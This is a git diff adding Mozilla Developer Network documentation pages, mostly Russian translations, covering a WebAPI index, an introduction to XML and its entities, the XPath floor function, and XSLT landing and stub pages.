+ <dt><a href="/en-US/docs/WebAPI/Power_Management" title="WebAPI/Power_Management">Power Management API </a>{{NonStandardBadge}}</dt>
+ <dd>Lets apps turn on and off the screen, CPU, device power, and so forth. Also provides support for listening for and inspecting resource lock events.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/WebAPI" title="tag/CSS">View All...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Data_management_APIs" name="Data_management_APIs">Data management APIs</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">FileHandle API</a> {{NonStandardBadge}}</dt>
+ <dd>Provides support for writable files with locking support.</dd>
+ <dt><a href="/en-US/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt>
+ <dd>Client-side storage of structured data with support for high-performance searches.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Settings" title="WebAPI/Settings">Settings API</a> {{NonStandardBadge}}</dt>
+ <dd>Lets apps examine and change system-wide configuration options that are permanently stored on the device.</dd>
+</dl>
+
+<h2 class="Documentation" id="Other_APIs" name="Other_APIs">Other APIs</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/Alarm" title="WebAPI/Alarm">Alarm API</a></dt>
+ <dd>Lets apps schedule notifications. Also provides support for automatically launching an app at a specific time.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">Simple Push API</a></dt>
+ <dd>Lets the platform send notification messages to specific applications.</dd>
+ <dt><a href="/en-US/docs/Web/API/Push_API">Push API</a></dt>
+ <dd>Gives web applications the ability to receive messages pushed to them from a server, whether or not the web app is in the foreground, or even currently loaded, on a user agent.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Web Notifications</a></dt>
+ <dd>Lets applications send notifications displayed at the system level.</dd>
+ <dt><a href="/en-US/docs/Web/API/Apps" title="Apps">Apps API</a> {{NonStandardBadge}}</dt>
+ <dd>The Open WebApps API provides support for installing and managing Web apps. In addition, support is provided to let apps determine payment information.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Web_Activities" title="WebAPI/Web_Activities">Web Activities</a> {{NonStandardBadge}}</dt>
+ <dd>Lets an app delegate an activity to another app; for example, an app might ask another app to select (or create) and return a photo. Typically the user is able to configure what apps are used for which activities.</dd>
+ <dt><a href="/en-US/docs/Apps/Publishing/In-app_payments" title="Apps/Publishing/In-app_payments">WebPayment API</a> {{NonStandardBadge}}</dt>
+ <dd>Lets Web content initiate payments and refunds for virtual goods.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API"><strong>Browser API</strong></a> {{NonStandardBadge}}</dt>
+ <dd>Provides support for building a Web browser completely using Web technologies (in essence, a browser within a browser).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API">Idle API</a></dt>
+ <dd>Lets apps receive notifications when the user is not actively using the device.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Permissions" title="WebAPI/Permissions">Permissions API</a> {{NonStandardBadge}}</dt>
+ <dd>Manages app permissions in a centralized location. Used by the Settings app.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock">Time/Clock API</a> {{NonStandardBadge}}</dt>
+ <dd>Provides support for setting the current time. The time zone is set using the <a href="/en-US/docs/WebAPI/Settings" title="WebAPI/Settings">Settings API</a>.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community">WebAPI community</h2>
+
+<p>If you need help with these APIs, there are several ways you can talk to other developers making use of them.</p>
+
+<ul>
+ <li>Consult the WebAPI forum: {{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}</li>
+ <li>Visit the WebAPI IRC channel: <a href="irc://irc.mozilla.org/webapi" title="irc://irc.mozilla.org/webapi">#webapi</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+
+<ul>
+ <li>The <a href="/en-US/docs/DOM" title="Document Object Model (DOM)">Document Object Model (DOM)</a> is the representation of an HTML document as a tree.</li>
+ <li><a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a> - Scripting language for the Web.</li>
+ <li><a href="/en-US/docs/WebAPI/Doc_status" title="WebAPI/Doc_status">Doc status</a>: A list of WebAPI topics and their documentation status.</li>
+</ul>
+</div>
+</div>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ru/web/xml/index.html b/files/ru/web/xml/index.html
new file mode 100644
index 0000000000..5c54c27742
--- /dev/null
+++ b/files/ru/web/xml/index.html
@@ -0,0 +1,17 @@
+---
+title: 'XML: Extensible Markup Language'
+slug: Web/XML
+tags:
+  - Draft
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+  - XML
+translation_of: Web/XML
+---
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/XML")}}{{Draft}}</p>
+
+<p class="summary">The <strong>Extensible Markup Language</strong> is a strict serialisation of the <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a>.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ru/web/xml/xml_introduction/index.html b/files/ru/web/xml/xml_introduction/index.html
new file mode 100644
index 0000000000..cf3eb55c96
--- /dev/null
+++ b/files/ru/web/xml/xml_introduction/index.html
@@ -0,0 +1,139 @@
+---
+title: XML Введение
+slug: Web/XML/XML_introduction
+tags:
+  - Beginner
+  - Introduction
+  - XML
+translation_of: Web/XML/XML_introduction
+---
+<p><span class="seoSummary">XML - это язык разметки подобный HTML. Расшифровывается как (англ. Extensible Markup Language - Расширяемый Язык Разметки) и является рекомендацией сообщества <a class="external" href="https://www.w3.org">W3C</a> в качестве языка разметки общего назначения (</span><a href="https://www.w3.org/TR/xml/">W3C recommended</a><span class="seoSummary">). В отличии от остальных языков разметки, XML сам по себе не определен (это означает, что вы должны сами определять используемые теги). Основной целью XML является передача данных между разными системами (даже концептуально разными), такими как интернет.</span></p>
+
+<p>Много языков базируются на XML; Некоторые примеры: <a href="/ru/docs/Словарь/XHTML" title="ru/XHTML">XHTML</a>, <a href="/ru/docs/Web/MathML" title="ru/MathML">MathML</a>, <a href="/ru/docs/Web/SVG" title="ru/SVG">SVG</a>, <a href="/ru/docs/Mozilla/Tech/XUL" title="ru/XUL">XUL</a>, <a href="/en-US/docs/Mozilla/Tech/XBL" title="en/XBL">XBL</a>, <a href="/en-US/docs/Web/RSS" title="en/RSS">RSS</a>, и <a href="/ru/docs/RDF" title="ru/RDF">RDF</a>. Вы можете создать свой.</p>
+
+<h2 id="Корректный_XML_(правильно_сформированный)">"Корректный" XML (правильно сформированный)</h2>
+
+<h3 id="Правила_оформления">Правила оформления</h3>
+
+<p>Для корректного XML документа должны исполняться следующие условия: </p>
+
+<ul>
+ <li>
+  <p>Правильное оформление документа.</p>
+ </li>
+ <li>
+  <p>Соблюдаться все синтаксические правила XML.</p>
+ </li>
+ <li>
+  <p>Документ должен соответствовать семантическим правилам языка (которые обычно заданны в схеме XML или DTD (англ. <strong><a href="/en-US/docs/Glossary/DTD" title="en/DTD">Document Type Definition</a></strong>)). </p>
+ </li>
+</ul>
+
+<h3 id="Пример">Пример</h3>
+
+<p>Пример ниже показывает документ с тегом, который не закрывает сам себя и не имеет закрывающего тега (это неправильно оформленный XML документ).</p>
+
+<pre class="brush: xml">&lt;message&gt;
+    &lt;warning&gt;
+        Hello World
+    &lt;!--missing &lt;/warning&gt; --&gt;
+&lt;/message&gt;
+</pre>
+
+<p>Давайте посмотрим на корректную версию этого документа:</p>
+
+<pre class="brush: xml">&lt;message&gt;
+    &lt;warning&gt;
+         Hello World
+    &lt;/warning&gt;
+&lt;/message&gt;
+</pre>
+
+<p> Документ содержащий неопределенный тег является не корректным. Например, если мы не определили тег <code>&lt;warning&gt;</code>, документ не корректен.</p>
+
+<div class="note">
+<p>В большинство браузеров встроен дебаггер, который может идентифицировать плохо написанный XML документ.</p>
+</div>
+
+<h2 id="Entities" name="Entities">Сущности</h2>
+
+<p>HTML и XML предлагают методы (которые называют сущности) для обращения к специальным зарезервированным символам (например угловые скобки, обозначающие начало и конец тега). Существует пять сущностей, которые вы обязательно должны знать:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Сущность</th>
+   <th scope="col">Символ</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>&amp;lt;</td>
+   <td>&lt;</td>
+   <td>Знак меньше (одна из угловых скобок)</td>
+  </tr>
+  <tr>
+   <td>&amp;gt;</td>
+   <td>&gt;</td>
+   <td>Знак больше (одна из угловых скобок)</td>
+  </tr>
+  <tr>
+   <td>&amp;amp;</td>
+   <td>&amp;</td>
+   <td>Амперсанд</td>
+  </tr>
+  <tr>
+   <td>&amp;quot;</td>
+   <td>"</td>
+   <td>Двойная кавычка</td>
+  </tr>
+  <tr>
+   <td>&amp;apos;</td>
+   <td>'</td>
+   <td>Одинарная кавычка (апостроф)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Не смотря на то, что по умолчанию создано всего пять сущностей, вы можете добавить в документ свои сущности используя <a href="/en-US/docs/Glossary/DTD" title="en/DTD">Document Type Definition</a>. Например, создать новую <code>&amp;warning;</code> сущность, можно так:</p>
+
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE body [
+  &lt;!ENTITY warning "Предупреждение: произошла ошибка, обновите и попробуте еще раз."&gt;
+]&gt;
+&lt;body&gt;
+  &lt;message&gt; &amp;warning; &lt;/message&gt;
+&lt;/body&gt;
+</pre>
+
+<p>Также вы можете использовать нумерические ссылки для специфический специальных символов. Например, &amp;#xA9; - это символ "©".</p>
+
+<h2 id="Отображение_XML">Отображение XML</h2>
+
+<p>XML обычно используют для описания чего-то. Существуют методы отображения XML данных, но если вы не определили способ визуализации XML документа, то в браузуре он отобразится построчно, как обычный текстовый файл .</p>
+
+<p>Один из методов отображения XML - указать <a href="/ru/docs/Web/CSS" title="ru/CSS">CSS</a> (чтобы использовать в документе нужно прописать инструкцию <code>xml-stylesheet</code>, как показано в примере ниже).</p>
+
+<pre>&lt;?xml-stylesheet type="text/css" href="stylesheet.css"?&gt;</pre>
+
+<p>Есть также много других мощных методов отображения XML, например, <a href="/en-US/docs/Web/XSLT" title="en/XSLT">XSLT</a>(англ. <strong>Extensible Stylesheet Language Transformations</strong>), который может использоваться для преобразование XML в другие языки такие, как HTML. Это делает XML очень универсальным.</p>
+
+<pre>&lt;?xml-stylesheet type="text/xsl" href="transform.xsl"?&gt;</pre>
+
+<h2 id="Recommendations" name="Recommendations">Рекомендации</h2>
+
+<p>Эта статья является очень маленьким введением в XML, с очень маленьким количеством примеров и ссылок для того, чтобы вы могли начать работать с этим языком. Чтобы больше узнать про XML, вам прийдется искать информацию и более информативные статьи в интернете.</p>
+
+<p>Изчайте <a href="/ru/docs/Web/HTML" title="ru/HTML">HTML</a> (англ. HyperText Markup Language), знание HTML поможет вам лучше понять XML.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.xml.com/">XML.com</a></li>
+ <li><a class="external" href="https://www.w3.org/XML/">Extensible Markup Language (XML) @ W3.org</a></li>
+ <li><a class="external" href="http://www.alistapart.com/d/usingxml/xml_uses_a.html">XML Example: A List Apart</a></li>
+ <li><a class="external" href="http://www.alistapart.com/articles/usingxml/">Using XML: A List Apart</a></li>
+</ul>
+
+<p>Статья <a href="http://www.alistapart.com/articles/usingxml/">Using XML</a> - отличный ресурс с большим количеством информации о саздании своего языка на основе XML.</p>
diff --git a/files/ru/web/xpath/funkcje/floor/index.html b/files/ru/web/xpath/funkcje/floor/index.html
new file mode 100644
index 0000000000..9679445bcf
--- /dev/null
+++ b/files/ru/web/xpath/funkcje/floor/index.html
@@ -0,0 +1,21 @@
+---
+title: Floor
+slug: Web/XPath/Funkcje/floor
+translation_of: Web/XPath/Functions/floor
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+  Функция <code>floor</code> принимает десятичное число и возвращает наибольшое целое, меньшее или равное исходному.</p>
+<h3 id="Syntax" name="Syntax">Синтаксис</h3>
+<pre class="eval">floor( <em>number</em> )
+</pre>
+<h3 id="Arguments" name="Arguments">Аргументы</h3>
+<dl><dt><code><em>number</em></code> </dt><dd>Десятичное число<br>
+</dd></dl>
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Ближайшее целое, меньшее или равное <code><em>number</em></code>.</p>
+<h3 id="Defined" name="Defined">Определено</h3>
+<p><a href="http://www.w3.org/TR/xpath#function-floor" class="external">XPath 1.0 4.4</a></p>
+<h3 id="Gecko_support" name="Gecko_support">Поддержка Gecko</h3>
+<p>Поддерживается</p>
+<p>{{ languages( { "fr": "fr/XPath/Fonctions/floor", "ja": "ja/XPath/Functions/floor", "pl": "pl/XPath/Funkcje/floor", "en": "en/XPath/Fonctions/floor" } ) }}</p>
diff --git a/files/ru/web/xpath/funkcje/index.html b/files/ru/web/xpath/funkcje/index.html
new file mode 100644
index 0000000000..9755985bd5
--- /dev/null
+++ b/files/ru/web/xpath/funkcje/index.html
@@ -0,0 +1,6 @@
+---
+title: Funkcje
+slug: Web/XPath/Funkcje
+translation_of: Web/XPath/Functions
+---
+<p>This page was auto-generated because a user created a sub-page to this page.</p>
diff --git a/files/ru/web/xpath/index.html b/files/ru/web/xpath/index.html
new file mode 100644
index 0000000000..d4e14363fd
--- /dev/null
+++ b/files/ru/web/xpath/index.html
@@ -0,0 +1,6 @@
+---
+title: XPath
+slug: Web/XPath
+translation_of: Web/XPath
+---
+<p>This page was auto-generated because a user created a sub-page to this page.</p>
diff --git a/files/ru/web/xslt/index.html b/files/ru/web/xslt/index.html
new file mode 100644
index 0000000000..9c1d10b3d7
--- /dev/null
+++ b/files/ru/web/xslt/index.html
@@ -0,0 +1,17 @@
+---
+title: XSLT
+slug: Web/XSLT
+tags:
+  - Веб
+  - Лэндинг
+translation_of: Web/XSLT
+---
+<p class="summary"><span class="seoSummary"><strong>XSLT</strong> (<em>Extensible Stylesheet Language Transformations</em>) — является языком на основе XML, используемым вместе со специализированным программным обеспечением для преобразования <a class="external" href="http://ru.wikipedia.org/wiki/XML" title="XML">XML</a>-документов. Спецификация XSLT является рекомендацией <a class="mw-redirect external" href="http://ru.wikipedia.org/wiki/W3C" title="W3C">W3C</a>.</span></p>
+
+<p> </p>
+
+<p>Хотя этот процесс называется «преобразованием», исходный документ не изменяется; скорее новый документ XML создается на основе содержимого существующего документа. Затем новый документ может быть сериализован (выведен) процессором в стандартном синтаксисе XML или в другом формате, таком как <a href="/ru/docs/Web/HTML">HTML</a> или простой текст.</p>
+
+<p>XSLT чаще всего используется для преобразования данных между различными схемами XML или для преобразования данных XML в веб-страницы или документы PDF.</p>
+
+<p> </p>